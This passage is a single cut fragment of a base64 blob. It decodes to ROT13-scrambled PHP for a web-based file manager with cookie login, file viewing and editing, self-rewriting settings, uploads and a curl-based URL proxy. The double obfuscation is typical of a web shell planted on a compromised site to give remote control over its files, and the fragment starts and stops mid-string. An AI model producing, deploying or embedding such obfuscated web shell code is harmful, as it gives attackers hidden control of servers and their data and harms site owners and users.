mVHcmtnID0gemxmZHl2X3JlZWJlKCR6bGZkeXFvLT5wYmFhcnBndmJhKTsNCgkJCQkJJGZkeUZnemcgICAgICA9ICRmZ3pnOw0KCQkJCQlvZXJueDsNCiAgICAgICAgICAgCSAgICAgfQ0KICAgICAgICAgICAJICB9DQogICAgICAgICAgIH0NCnZzIChyemNnbCgkZmR5UmVlYmVQYnFyKSkgZXJnaGVhIF9fKCdGaHBwcmZmJykuJyDigJQgJy4kZmR5U3Z5ckdiUmtycGhncjsNCnJ5ZnIgZXJnaGVhICRmZHlSZWViZUdya2cuJzxvZS8+Jy4kZmd6ZzsNCn0NCg0Kc2hhcGd2YmEgc3pfdnp0X3l2YXgoJHN2eXJhbnpyKXsNCgllcmdoZWEgJy4vJy5vbmZyYW56cihfX1NWWVJfXykuJz92enQ9Jy5vbmZyNjRfcmFwYnFyKCRzdnlyYW56cik7DQp9DQoNCnNoYXBndmJhIHN6X3VienJfZmdseXIoKXsNCgllcmdoZWEgJw0KdmFjaGcsIHZhY2hnLnN6X3ZhY2hnIHsNCglncmtnLXZhcXJhZzogMmNrOw0KfQ0KDQp2YWNoZywgZ3JrZ25lcm4sIGZyeXJwZywgdmFjaGcuc3pfdmFjaGcgew0KCXBieWJlOiBveW5weDsNCglzYmFnOiBhYmV6bnkgOGNnIElyZXFuYW4sIE5ldm55LCBVcnlpcmd2cG4sIGZuYWYtZnJldnM7DQoJb2JlcXJlLXBieWJlOiBveW5weDsNCglvbnB4dGViaGFxLXBieWJlOiAjU1BTUFNQIGFiYXIgIXZ6Y2JlZ25hZzsNCglvYmVxcmUtZW5xdmhmOiAwOw0KCWNucXF2YXQ6IDJjazsNCn0NCg0KdmFjaGcuc3pfdmFjaGcgew0KCW9ucHh0ZWJoYXE6ICNTUFNQU1AgYWJhciAhdnpjYmVnbmFnOw0KCXBoZWZiZTogY2J2YWdyZTsNCn0NCg0KLnVienIgew0KCW9ucHh0ZWJoYXEtdnpudHI6IGhleSgicW5nbjp2em50ci9jYXQ7b25mcjY0LHZJT0JFajBYVHRiTk5OTkFGSHVSSHROTk5PTk5OTk5EUE5aTk5OTmJZRDlHTk5OTk9UcU9HSFJOTlgvVkFqSlg2RE5OTnRFREdTRVMvczM5NkJ3Yi8vLy9nRzAybWUrc2o2NkVndzQzMkdSYzNaS1IyUU5lM0dMYzFsNHpnUWoyLzdPWi83T0JkSWNwLzh5MzF3cGRkNnJhanBVTzJHdHY1d3RkSWNvU2llbjJhT05JL0NtODJGMHdhazBKM0dIeGRGdHY0clV1NEdmZXI0amJmbTAyNmhDd21UTHE2SGYzbGFObHFIT041WHkzc3o1cmRNbko3QlF0djJJdCtDdzRoTCtSall6NW9MOUgvLzd3c1lnUCtnQlgzd3B6LzcxaDJ3TGIxSEx1NW5XeS9mclAzd1J6MTJ4eldlVk4xd1p6LzluSDRZdTByMDFPeVZuUi8vL3F1WnFQN1ZOLy9zR00ycDNaSjZhQTMwanM5NUlxNFdxS2JLSWJmOGFSNHJzQS8rNjNWV3RGYUx1eTdTNHBmS2c4OVRESGpZKy93eTFwNDFOZCtzbzJ0emdWMWVYbjJQNHhXblZOM3dMZXlHajVndzQyM3dMYTNwS1IxbURia1pVT2MxeU0zUXR6ZHZ4Zi8renB3WVg4M3dMeGx6WkkzR0x4Ly9VWitoN0p1emdlMGJxR2NuQndzSldzZVVjdC84T2YvN2dKLzdJcis0SDUyUVp6M1pZT2E0ZFl0QUlaNlptTzN5UnN5VmhZLyt3Ti8vLzIwWUJtd0trOC83eW9KY1dUMlA4eDNHYmZXWFpOMWxqd2JjQkUxbUxjNVFmY3ZubCtsWEF1ZFhGeDhBSjYvc3dhZjdCbTJnYU1obTg4N28rSjNuRUwvK3pmNGVQUjNHYmc3STg1b1hrd2hSTjNqNDVJdTVodWQ2bno0cFNrdE1NSi85ZFZoanRYbDBmSitod0c0R0RhZ200MjNQOHYzbUh3LytYai9uNXE2SFpraFk2am1RUmUvLy8vcGRXRHNOTk5OWGswSHg1Ry8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vL05OSklTb1JOTk5OTXFSSUxxU0FpTWFFM0xLV3lOUlN4bzJXeVZSeWdMSnF5SHpJdU1VeWtsSkg4Tk5OTjJIeVJESURiSDJBTHdETExmTnZSOEg5TG1RTHdJY1RNRWtadlJQdmdaZUlNaWJaZUd5RDJSRkVEVzJTSWp2YUxvemRHSFliYnVhUjF0MW5YVEYvc0FaZ3g0MGxNOVhJWUR1dEx4aEw3QWtEaUtsVUlTQWFYbUU2OWRja09DWnJtMFJHTkRsR0hpRmJ0blZTbkNwQWRJL1o1cXVuMkV5Mkd2em82TStET1FMMUtBL0ZvaDhrU1lUM3JZUXN5MkhOT3d2eUIxYjAxMk0zcngxeU1JVkpOTnpIR1g2WTBmM2NLK3d3NmNoTTJOakpIaU9FbmN1ZmpacUhod1B2alFqbjVJUnFDVjdsYUh5cDdpMWRMSEVZZGhzNDJ1bTQ1UE9DUWdqTlBleitFUXBrV0xOTk5OTk9XRUg1UmV4V3R0dD09Iik7DQoJb25weHRlYmhhcS1lcmNybmc6IGFiLWVyY3JuZzsNCn0nOw0KfQ0KDQpzaGFwZ3ZiYSBzel9wYmFzdnRfcHVycHhvYmtfZWJqKCRhbnpyLCRpbnlocikgew0KCXR5Ym9ueSAkc3pfcGJhc3Z0Ow0KCWVyZ2hlYSAnPGdlPjxncSBweW5mZj0iZWJqMSI+PHZhY2hnIHZxPSJzel9wYmFzdnRfJy4kaW55aHIuJyIgYW56cj0ic3pfcGJhc3Z0WycuJGlueWhyLiddIiBpbnlocj0iMSIgJy4ocnpjZ2woJHN6X3BiYXN2dFskaW55aHJdKT8nJzoncHVycHhycT0iZ2VociInKS4nIGdsY3I9InB1cnB4b2JrIj48L2dxPjxncSBweW5mZj0iZWJqMiBqdWJ5ciI+PHlub3J5IHNiZT0ic3pfcGJhc3Z0XycuJGlueWhyLiciPicuJGFuenIuJzwvZ3E+PC9nZT4nOw0KfQ0KDQpzaGFwZ3ZiYSBzel9jZWJnYnBieSgpIHsNCgl2cyAodmZmcmcoJF9GUkVJUkVbJ1VHR0NfRlBVUlpSJ10pKSBlcmdoZWEgJF9GUkVJUkVbJ1VHR0NfRlBVUlpSJ10uJzovLyc7DQoJdnMgKHZmZnJnKCRfRlJFSVJFWydVR0dDRiddKSAmJiAkX0ZSRUlSRVsnVUdHQ0YnXSA9PSAnYmEnKSBlcmdoZWEgJ3VnZ2NmOi8vJzsNCgl2cyAodmZmcmcoJF9GUkVJUkVbJ0ZSRUlSRV9DQkVHJ10pICYmICRfRlJFSVJFWydGUkVJUkVfQ0JFRyddID09IDQ0MykgZXJnaGVhICd1Z2djZjovLyc7DQoJdnMgKHZmZnJnKCRfRlJFSVJFWydVR0dDX0tfU0JFSk5FUVJRX0NFQkdCJ10pICYmICRfRlJFSVJFWydVR0dDX0tfU0JFSk5FUVJRX0NFQkdCJ10gPT0gJ3VnZ2NmJykgZXJnaGVhICd1Z2djZjovLyc7DQoJZXJnaGVhICd1Z2djOi8vJzsNCn0NCg0Kc2hhcGd2YmEgc3pfZnZncl9oZXkoKSB7DQoJZXJnaGVhIHN6X2NlYmdicGJ5KCkuJF9GUkVJUkVbJ1VHR0NfVUJGRyddOw0KfQ0KDQpzaGFwZ3ZiYSBzel9oZXkoJHNoeXk9c255ZnIpIHsNCgkkdWJmZz0kc2h5eT9zel9mdmdyX2hleSgpOicuJzsNCgllcmdoZWEgJHViZmcuJy8nLm9uZnJhbnpyKF9fU1ZZUl9fKTsNCn0NCg0Kc2hhcGd2YmEgc3pfdWJ6cigkc2h5eT1zbnlmcil7DQoJZXJnaGVhICcmYW9mYzs8biB1ZXJzPSInLnN6X2hleSgkc2h5eSkuJyIgZ3ZneXI9IicuX18oJ1VienInKS4nIj48ZmNuYSBweW5mZj0idWJ6ciI+JmFvZmM7JmFvZmM7JmFvZmM7JmFvZmM7PC9mY25hPjwvbj4nOw0KfQ0KDQpzaGFwZ3ZiYSBzel9laGFfdmFjaGcoJHlhdCkgew0KCXR5Ym9ueSAkc3pfcGJhc3Z0Ow0KCSRlcmdoZWEgPSAhcnpjZ2woJHN6X3BiYXN2dFsncmFub3lyXycuJHlhdC4nX3BiYWZieXInXSkgPyANCgknDQoJCQkJPHNiZXogIHpyZ3VicT0iY2JmZyIgbnBndmJhPSInLnN6X2hleSgpLiciIGZnbHlyPSJxdmZjeW5sOnZheXZhciI+DQoJCQkJPHZhY2hnIGdsY3I9ImZob3p2ZyIgYW56cj0iJy4keWF0LidlaGEiIGlueWhyPSInLmZnZWdiaGNjcmUoJHlhdCkuJyAnLl9fKCdQYmFmYnlyJykuJyI+DQoJCQkJPC9zYmV6Pg0KJyA6ICcnOw0KCWVyZ2hlYSAkZXJnaGVhOw0KfQ0KDQpzaGFwZ3ZiYSBzel9oZXlfY2Via2woJHpuZ3B1cmYpIHsNCgkkeXZheCA9IGZnZV9lcmN5bnByKCcmbnpjOycsJyYnLCR6bmdwdXJmWzJdKTsNCgkkaGV5ID0gdmZmcmcoJF9UUkdbJ2hleSddKT8kX1RSR1snaGV5J106Jyc7DQoJJGNuZWZyX2hleSA9IGNuZWZyX2hleSgkaGV5KTsNCgkkdWJmZyA9ICRjbmVmcl9oZXlbJ2ZwdXJ6ciddLic6Ly8nLiRjbmVmcl9oZXlbJ3ViZmcnXS4nLyc7DQoJdnMgKGZob2ZnZSgkeXZheCwwLDIpPT0nLy8nKSB7DQoJCSR5dmF4ID0gZmhvZmdlX2VyY3lucHIoJHl2YXgsc3pfY2ViZ2JwYnkoKSwwLDIpOw0KCX0gcnlmcnZzIChmaG9mZ2UoJHl2YXgsMCwxKT09Jy8nKSB7DQoJCSR5dmF4ID0gZmhvZmdlX2VyY3lucHIoJHl2YXgsJHViZmcsMCwxKTsJDQoJfSByeWZydnMgKGZob2ZnZSgkeXZheCwwLDIpPT0nLi8nKSB7DQoJCSR5dmF4ID0gZmhvZmdlX2VyY3lucHIoJHl2YXgsJHViZmcsMCwyKTsJDQoJfSByeWZydnMgKGZob2ZnZSgkeXZheCwwLDQpPT0ndWdnYycpIHsNCgkJLy9ueXlyZiB6bnB1cmEgamhhcXJlZnB1YmENCgl9IHJ5ZnIgew0KCQkkeXZheCA9ICR1YmZnLiR5dmF4Ow0KCX0gDQoJdnMgKCR6bmdwdXJmWzFdPT0ndWVycycgJiYgIWZnZWV2Y2JmKCR5dmF4LCAncGZmJykpIHsNCgkJJG9uZnIgPSBzel9mdmdyX2hleSgpLicvJy5vbmZyYW56cihfX1NWWVJfXyk7DQoJCSRvbmZyZCA9ICRvbmZyLic/Y2Via2w9Z2VociZoZXk9JzsNCgkJJHl2YXggPSAkb25mcmQuaGV5cmFwYnFyKCR5dmF4KTsNCgl9IHJ5ZnJ2cyAoZmdlZXZjYmYoJHl2YXgsICdwZmYnKSl7DQoJCS8v0LrQsNC6LdGC0L4g0YLQvtC20LUg0L/QvtC00LzQtdC90Y/RgtGMINC90LDQtNC+DQoJfQ0KCWVyZ2hlYSAkem5ncHVyZlsxXS4nPSInLiR5dmF4LiciJzsNCn0NCiANCnNoYXBndmJhIHN6X2djeV9zYmV6KCR5YXRfZ2N5KSB7DQoJdHlib255ICR7JHlhdF9nY3kuJ19ncnpjeW5ncmYnfTsNCgkkZ2N5X25lZSA9IHdmYmFfcXJwYnFyKCR7JHlhdF9nY3kuJ19ncnpjeW5ncmYnfSxnZWhyKTsNCgkkZmdlID0gJyc7DQoJc2Jlcm5wdSAoJGdjeV9uZWUgbmYgJHhnY3k9PiRpZ2N5KSB7DQoJCSRmZ2UgLj0gJzxnZT48Z3EgcHluZmY9ImViajEiPjx2YWNoZyBhbnpyPSInLiR5YXRfZ2N5LidfYW56cltdIiBpbnlocj0iJy4keGdjeS4nIj48L2dxPjxncSBweW5mZj0iZWJqMiBqdWJ5ciI+PGdya2duZXJuIGFuenI9IicuJHlhdF9nY3kuJ19pbnlocltdIiAgcGJ5Zj0iNTUiIGViamY9IjUiIHB5bmZmPSJncmtnbmVybl92YWNoZyI+Jy4kaWdjeS4nPC9ncmtnbmVybj4gPHZhY2hnIGFuenI9InFyeV8nLmVuYXEoKS4nIiBnbGNyPSJvaGdnYmEiIGJhUHl2cHg9Imd1dmYuY25lcmFnQWJxci5jbmVyYWdBYnFyLmVyemJpcigpOyIgaW55aHI9IicuX18oJ1FyeXJncicpLiciLz48L2dxPjwvZ2U+JzsNCgl9DQplcmdoZWEgJw0KPGdub3lyPg0KPGdlPjxndSBwYnlmY25hPSIyIj4nLmZnZWdiaGNjcmUoJHlhdF9nY3kpLicgJy5fXygnZ3J6Y3luZ3JmJykuJyAnLnN6X2VoYV92YWNoZygkeWF0X2djeSkuJzwvZ3U+PC9nZT4NCjxzYmV6IHpyZ3VicT0iY2JmZyIgbnBndmJhPSIiPg0KPHZhY2hnIGdsY3I9InV2cXFyYSIgaW55aHI9IicuJHlhdF9nY3kuJyIgYW56cj0iZ2N5X3JxdmdycSI+DQo8Z2U+PGdxIHB5bmZmPSJlYmoxIj4nLl9fKCdBbnpyJykuJzwvZ3E+PGdxIHB5bmZmPSJlYmoyIGp1YnlyIj4nLl9fKCdJbnlocicpLic8L2dxPjwvZ2U+DQonLiRmZ2UuJw0KPGdlPjxncSBwYnlmY25hPSIyIiBweW5mZj0iZWJqMyI+PHZhY2hnIGFuenI9ImVyZiIgZ2xjcj0ib2hnZ2JhIiBiYVB5dnB4PSJxYnBoenJhZy55YnBuZ3ZiYS51ZXJzID0gXCcnLnN6X2hleSgpLic/c3pfZnJnZ3ZhdGY9Z2VoclwnOyIgaW55aHI9IicuX18oJ0VyZnJnJykuJyIvPiA8dmFjaGcgZ2xjcj0iZmhvenZnIiBpbnlocj0iJy5fXygnRm5pcicpLiciID48L2dxPjwvZ2U+DQo8L3NiZXo+DQo8c2JleiB6cmd1YnE9ImNiZmciIG5wZ3ZiYT0iIj4NCjx2YWNoZyBnbGNyPSJ1dnFxcmEiIGlueWhyPSInLiR5YXRfZ2N5LiciIGFuenI9ImdjeV9ycXZncnEiPg0KPGdlPjxncSBweW5mZj0iZWJqMSI+PHZhY2hnIGFuenI9IicuJHlhdF9nY3kuJ19hcmpfYW56ciIgaW55aHI9IiIgY3lucHJ1YnlxcmU9IicuX18oJ0FyaicpLicgJy5fXygnQW56cicpLiciPjwvZ3E+PGdxIHB5bmZmPSJlYmoyIGp1YnlyIj48Z3JrZ25lcm4gYW56cj0iJy4keWF0X2djeS4nX2Fyal9pbnlociIgIHBieWY9IjU1IiBlYmpmPSI1IiBweW5mZj0iZ3JrZ25lcm5fdmFjaGciIGN5bnBydWJ5cXJlPSInLl9fKCdBcmonKS4nICcuX18oJ0lueWhyJykuJyI+PC9ncmtnbmVybj48L2dxPjwvZ2U+DQo8Z2U+PGdxIHBieWZjbmE9IjIiIHB5bmZmPSJlYmozIj48dmFjaGcgZ2xjcj0iZmhvenZnIiBpbnlocj0iJy5fXygnTnFxJykuJyIgPjwvZ3E+PC9nZT4NCjwvc2Jlej4NCjwvZ25veXI+DQonOw0KfQ0KDQovKiBSYXEgU2hhcGd2YmFmICovDQoNCi8vIG5oZ3ViZXZtbmd2YmENCnZzICgkbmhndVsnbmhndWJldm1yJ10pIHsNCgl2cyAodmZmcmcoJF9DQkZHWyd5YnR2YSddKSAmJiB2ZmZyZygkX0NCRkdbJ2NuZmZqYmVxJ10pKXsNCgkJdnMgKCgkX0NCRkdbJ3lidHZhJ109PSRuaGd1Wyd5YnR2YSddKSAmJiAoJF9DQkZHWydjbmZmamJlcSddPT0kbmhndVsnY25mZmpiZXEnXSkpIHsNCgkJCWZyZ3BiYnh2cigkbmhndVsncGJieHZyX2FuenInXSwgJG5oZ3VbJ3lidHZhJ10uJ3wnLnpxNSgkbmhndVsnY25mZmpiZXEnXSksIGd2enIoKSArICg4NjQwMCAqICRuaGd1WydxbmxmX25oZ3ViZXZtbmd2YmEnXSkpOw0KCQkJJF9QQkJYVlJbJG5oZ3VbJ3BiYnh2cl9hbnpyJ11dPSRuaGd1Wyd5YnR2YSddLid8Jy56cTUoJG5oZ3VbJ2NuZmZqYmVxJ10pOw0KCQl9DQoJfQ0KCXZzICghdmZmcmcoJF9QQkJYVlJbJG5oZ3VbJ3BiYnh2cl9hbnpyJ11dKSBCRSAoJF9QQkJYVlJbJG5oZ3VbJ3BiYnh2cl9hbnpyJ11dIT0kbmhndVsneWJ0dmEnXS4nfCcuenE1KCRuaGd1WydjbmZmamJlcSddKSkpIHsNCgkJcnB1YiAnDQo8IXFicGdsY3IgdWd6eT4NCjx1Z3p5Pg0KPHVybnE+DQo8enJnbiBwdW5lZnJnPSJoZ3MtOCIgLz4NCjx6cmduIGFuenI9Iml2cmpjYmVnIiBwYmFncmFnPSJqdnFndT1xcml2cHItanZxZ3UsIHZhdmd2bnktZnBueXI9MSIgLz4NCjxndmd5cj4nLl9fKCdTdnlyIHpuYW50cmUnKS4nPC9ndmd5cj4NCjwvdXJucT4NCjxvYnFsPg0KPHNiZXogbnBndmJhPSIiIHpyZ3VicT0iY2JmZyI+DQonLl9fKCdZYnR2YScpLicgPHZhY2hnIGFuenI9InlidHZhIiBnbGNyPSJncmtnIj4mYW9mYzsmYW9mYzsmYW9mYzsNCicuX18oJ0NuZmZqYmVxJykuJyA8dmFjaGcgYW56cj0iY25mZmpiZXEiIGdsY3I9ImNuZmZqYmVxIj4mYW9mYzsmYW9mYzsmYW9mYzsNCjx2YWNoZyBnbGNyPSJmaG96dmciIGlueWhyPSInLl9fKCdSYWdyZScpLiciIHB5bmZmPSJzel92YWNoZyI+DQo8L3NiZXo+DQonLnN6X3luYXRfc2JleigkeW5hdGhudHIpLicNCjwvb2JxbD4NCjwvdWd6eT4NCic7ICANCnF2cigpOw0KCX0NCgl2cyAodmZmcmcoJF9DQkZHWydkaHZnJ10pKSB7DQoJCWhhZnJnKCRfUEJCWFZSWyRuaGd1WydwYmJ4dnJfYW56ciddXSk7DQoJCWZyZ3BiYnh2cigkbmhndVsncGJieHZyX2FuenInXSwgJycsIGd2enIoKSAtICg4NjQwMCAqICRuaGd1WydxbmxmX25oZ3ViZXZtbmd2YmEnXSkpOw0KCQl1cm5xcmUoJ1licG5ndmJhOiAnLnN6X2Z2Z3JfaGV5KCkuJF9GUkVJUkVbJ0VSREhSRkdfSEVWJ10pOw0KCX0NCn0NCg0KLy8gUHVuYXRyIHBiYXN2dA0KdnMgKHZmZnJnKCRfVFJHWydzel9mcmdndmF0ZiddKSkgew0KCXZzICh2ZmZyZygkX1RSR1snc3pfcGJhc3Z0X3FyeXJnciddKSkgeyANCgkJaGFmcmcoJF9QQkJYVlJbJ3N6X3BiYXN2dCddKTsNCgkJZnJncGJieHZyKCdzel9wYmFzdnQnLCAnJywgZ3Z6cigpIC0gKDg2NDAwICogJG5oZ3VbJ3FubGZfbmhndWJldm1uZ3ZiYSddKSk7DQoJCXVybnFyZSgnWWJwbmd2YmE6ICcuc3pfaGV5KCkuJz9zel9mcmdndmF0Zj1nZWhyJyk7DQoJCXJrdmcoMCk7DQoJfQlyeWZydnMgKHZmZnJnKCRfQ0JGR1snc3pfcGJhc3Z0J10pKSB7IA0KCQkkc3pfcGJhc3Z0ID0gJF9DQkZHWydzel9wYmFzdnQnXTsNCgkJZnJncGJieHZyKCdzel9wYmFzdnQnLCBmcmV2bnl2bXIoJHN6X3BiYXN2dCksIGd2enIoKSArICg4NjQwMCAqICRuaGd1WydxbmxmX25oZ3ViZXZtbmd2YmEnXSkpOw0KCQkkX1BCQlhWUlsnc3pfcGJhc3Z0J10gPSBmcmV2bnl2bXIoJHN6X3BiYXN2dCk7DQoJCSR6ZnQgPSBfXygnRnJnZ3ZhdGYnKS4nICcuX18oJ3FiYXInKTsNCgl9CXJ5ZnJ2cyAodmZmcmcoJF9DQkZHWydzel95YnR2YSddKSkgeyANCgkJdnMgKHJ6Y2dsKCRfQ0JGR1snc3pfeWJ0dmEnXVsnbmhndWJldm1yJ10pKSAkX0NCRkdbJ3N6X3lidHZhJ10gPSBuZWVubCgnbmhndWJldm1yJyA9PiAnMCcpICsgJF9DQkZHWydzel95YnR2YSddOw0KCQkkc3pfeWJ0dmEgPSB3ZmJhX3JhcGJxcigkX0NCRkdbJ3N6X3lidHZhJ10pOw0KCQkkc3RwID0gc3Z5cl90cmdfcGJhZ3JhZ2YoX19TVllSX18pOw0KCQkkZnJuZXB1ID0gY2VydF96bmdwdSgnI25oZ3ViZXZtbmd2YmFbXGZdP1w9W1xmXT9cJ1x7XCIoLio/KVwiXH1cJzsjJywgJHN0cCwgJHpuZ3B1cmYpOw0KCQl2cyAoIXJ6Y2dsKCR6bmdwdXJmWzFdKSkgew0KCQkJJHN2eXJ6Z3Z6ciA9IHN2eXJ6Z3Z6cihfX1NWWVJfXyk7DQoJCQkkZXJjeW5wciA9IGZnZV9lcmN5bnByKCd7IicuJHpuZ3B1cmZbMV0uJyJ9Jywkc3pfeWJ0dmEsJHN0cCk7DQoJCQl2cyAoc3Z5cl9jaGdfcGJhZ3JhZ2YoX19TVllSX18sICRlcmN5bnByKSkgew0KCQkJCSR6ZnQgLj0gX18oJ1N2eXIgaGNxbmdycScpOw0KCQkJCXZzICgkX0NCRkdbJ3N6X3lidHZhJ11bJ3lidHZhJ10gIT0gJG5oZ3VbJ3lidHZhJ10pICR6ZnQgLj0gJyAnLl9fKCdZYnR2YScpLic6ICcuJF9DQkZHWydzel95YnR2YSddWyd5YnR2YSddOw0KCQkJCXZzICgkX0NCRkdbJ3N6X3lidHZhJ11bJ2NuZmZqYmVxJ10gIT0gJG5oZ3VbJ2NuZmZqYmVxJ10pICR6ZnQgLj0gJyAnLl9fKCdDbmZmamJlcScpLic6ICcuJF9DQkZHWydzel95YnR2YSddWydjbmZmamJlcSddOw0KCQkJCSRuaGd1ID0gJF9DQkZHWydzel95YnR2YSddOw0KCQkJfQ0KCQkJcnlmciAkemZ0IC49IF9fKCdSZWViZSBicHBoZWVycScpOw0KCQkJdnMgKCFyemNnbCgkc3pfcGJhc3Z0Wydzel9lcmZnYmVyX2d2enInXSkpIGdiaHB1KF9fU1ZZUl9fLCRzdnlyemd2enIpOw0KCQl9DQoJfSByeWZydnMgKHZmZnJnKCRfQ0JGR1snZ2N5X3JxdmdycSddKSkgeyANCgkJJHlhdF9nY3kgPSAkX0NCRkdbJ2djeV9ycXZncnEnXTsNCgkJdnMgKCFyemNnbCgkX0NCRkdbJHlhdF9nY3kuJ19hbnpyJ10pKSB7DQoJCQkkc3pfY3VjID0gd2ZiYV9yYXBicXIobmVlbmxfcGJ6b3ZhcigkX0NCRkdbJHlhdF9nY3kuJ19hbnpyJ10sJF9DQkZHWyR5YXRfZ2N5LidfaW55aHInXSksV0ZCQV9VUktfTkNCRik7DQoJCX0gcnlmcnZzICghcnpjZ2woJF9DQkZHWyR5YXRfZ2N5LidfYXJqX2FuenInXSkpIHsNCgkJCSRzel9jdWMgPSB3ZmJhX3JhcGJxcih3ZmJhX3FycGJxcigkeyR5YXRfZ2N5LidfZ3J6Y3luZ3JmJ30sZ2VocikrbmVlbmwoJF9DQkZHWyR5YXRfZ2N5LidfYXJqX2FuenInXT0+JF9DQkZHWyR5YXRfZ2N5LidfYXJqX2lueWhyJ10pLFdGQkFfVVJLX05DQkYpOw0KCQl9DQoJCXZzICghcnpjZ2woJHN6X2N1YykpIHsNCgkJCSRzdHAgPSBzdnlyX3RyZ19wYmFncmFnZihfX1NWWVJfXyk7DQoJCQkkZnJuZXB1ID0gY2VydF96bmdwdSgnIycuJHlhdF9nY3kuJ19ncnpjeW5ncmZbXGZdP1w9W1xmXT9cJ1x7XCIoLio/KVwiXH1cJzsjJywgJHN0cCwgJHpuZ3B1cmYpOw0KCQkJdnMgKCFyemNnbCgkem5ncHVyZlsxXSkpIHsNCgkJCQkkc3Z5cnpndnpyID0gc3Z5cnpndnpyKF9fU1ZZUl9fKTsNCgkJCQkkZXJjeW5wciA9IGZnZV9lcmN5bnByKCd7IicuJHpuZ3B1cmZbMV0uJyJ9Jywkc3pfY3VjLCRzdHApOw0KCQkJCXZzIChzdnlyX2NoZ19wYmFncmFnZihfX1NWWVJfXywgJGVyY3lucHIpKSB7DQoJCQkJCSR7JHlhdF9nY3kuJ19ncnpjeW5ncmYnfSA9ICRzel9jdWM7DQoJCQkJCSR6ZnQgLj0gX18oJ1N2eXIgaGNxbmdycScpOw0KCQkJCX0gcnlmciAkemZ0IC49IF9fKCdSZWViZSBicHBoZWVycScpOw0KCQkJCXZzICghcnpjZ2woJHN6X3BiYXN2dFsnc3pfZXJmZ2Jlcl9ndnpyJ10pKSBnYmhwdShfX1NWWVJfXywkc3Z5cnpndnpyKTsNCgkJCX0JDQoJCX0gcnlmciAkemZ0IC49IF9fKCdSZWViZSBicHBoZWVycScpOw0KCX0NCn0NCg0KLy8gV2hmZyBmdWJqIHZ6bnRyDQp2cyAodmZmcmcoJF9UUkdbJ3Z6dCddKSkgew0KCSRzdnlyPW9uZnI2NF9xcnBicXIoJF9UUkdbJ3Z6dCddKTsNCgl2cyAoJHZhc2I9dHJndnpudHJmdm1yKCRzdnlyKSl7DQoJCWZqdmdwdSAgKCR2YXNiWzJdKXsJLy8xPVRWUywgMj1XQ1QsIDM9Q0FULCA0PUZKUywgNT1DRlEsIDY9T1pDDQoJCQlwbmZyIDE6ICRya2c9J3R2cyc7IG9lcm54Ow0KCQkJcG5mciAyOiAkcmtnPSd3Y3J0Jzsgb2Vybng7DQoJCQlwbmZyIDM6ICRya2c9J2NhdCc7IG9lcm54Ow0KCQkJcG5mciA2OiAkcmtnPSdvemMnOyBvZXJueDsNCgkJCXFyc25oeWc6IHF2cigpOw0KCQl9DQoJCXVybnFyZSgiUGJhZ3JhZy1nbGNyOiB2em50ci8kcmtnIik7DQoJCXJwdWIgc3Z5cl90cmdfcGJhZ3JhZ2YoJHN2eXIpOw0KCQlxdnIoKTsNCgl9DQp9DQoNCi8vIFdoZmcgcWJqYXlibnEgc3Z5cg0KdnMgKHZmZnJnKCRfVFJHWydxYmpheWJucSddKSkgew0KCSRzdnlyPW9uZnI2NF9xcnBicXIoJF9UUkdbJ3FiamF5Ym5xJ10pOw0KCXN6X3FiamF5Ym5xKCRzdnlyKTsJDQp9DQoNCi8vIFdoZmcgZnViaiB2YXNiDQp2cyAodmZmcmcoJF9UUkdbJ2N1Y3Zhc2InXSkpIHsNCgljdWN2YXNiKCk7IA0KCXF2cigpOw0KfQ0KDQovLyBadmF2IGNlYmtsLCB6bmFsIG9odGYhDQp2cyAodmZmcmcoJF9UUkdbJ2NlYmtsJ10pICYmICghcnpjZ2woJHN6X3BiYXN2dFsncmFub3lyX2NlYmtsJ10pKSkgew0KCSRoZXkgPSB2ZmZyZygkX1RSR1snaGV5J10pP2hleXFycGJxcigkX1RSR1snaGV5J10pOicnOw0KCSRjZWJrbF9zYmV6ID0gJw0KPHF2aSBmZ2x5cj0iY2Jmdmd2YmE6ZXJ5bmd2aXI7bS12YXFyazoxMDA1MDA7b25weHRlYmhhcTogeXZhcm5lLXRlbnF2cmFnKGdiIG9iZ2dieiwgI3I0czVzcCAwJSwjb3NyOHM5IDUwJSwjOXNxOHJzIDUxJSwjMm5vMHJxIDEwMCUpOyI+DQoJPHNiZXogbnBndmJhPSIiIHpyZ3VicT0iVFJHIj4NCgk8dmFjaGcgZ2xjcj0idXZxcXJhIiBhbnpyPSJjZWJrbCIgaW55aHI9ImdlaHIiPg0KCScuc3pfdWJ6cigpLicgPG4gdWVycz0iJy4kaGV5LiciIGduZXRyZz0iX295bmF4Ij5IZXk8L24+OiA8dmFjaGcgZ2xjcj0iZ3JrZyIgYW56cj0iaGV5IiBpbnlocj0iJy4kaGV5LiciIGZ2bXI9IjU1Ij4NCgk8dmFjaGcgZ2xjcj0iZmhvenZnIiBpbnlocj0iJy5fXygnRnViaicpLiciIHB5bmZmPSJzel92YWNoZyI+DQoJPC9zYmV6Pg0KPC9xdmk+DQonOw0KCXZzICgkaGV5KSB7DQoJCSRwdSA9IHBoZXlfdmF2ZygkaGV5KTsNCgkJcGhleV9mcmdiY2coJHB1LCBQSEVZQkNHX0hGUkVOVFJBRywgJ1FyYTFra2sgZ3JmZyBjZWJrbCcpOw0KCQlwaGV5X2ZyZ2JjZygkcHUsIFBIRVlCQ0dfU0JZWUJKWUJQTkdWQkEsIDEpOw0KCQlwaGV5X2ZyZ2JjZygkcHUsIFBIRVlCQ0dfRkZZX0lSRVZTTFVCRkcsMCk7DQoJCXBoZXlfZnJnYmNnKCRwdSwgUEhFWUJDR19GRllfSVJFVlNMQ1JSRSwwKTsNCgkJcGhleV9mcmdiY2coJHB1LCBQSEVZQkNHX1VSTlFSRSwgMCk7DQoJCXBoZXlfZnJnYmNnKCRwdSwgUEhFWUJDR19FUlNSRVJFLCAkaGV5KTsNCgkJcGhleV9mcmdiY2coJHB1LCBQSEVZQkNHX0VSR0hFQUdFTkFGU1JFLGdlaHIpOw0KCQkkZXJmaHlnID0gcGhleV9ya3JwKCRwdSk7DQoJCXBoZXlfcHliZnIoJHB1KTsNCgkJLy8kZXJmaHlnID0gY2VydF9lcmN5bnByKCcjKGZlcCk9Wy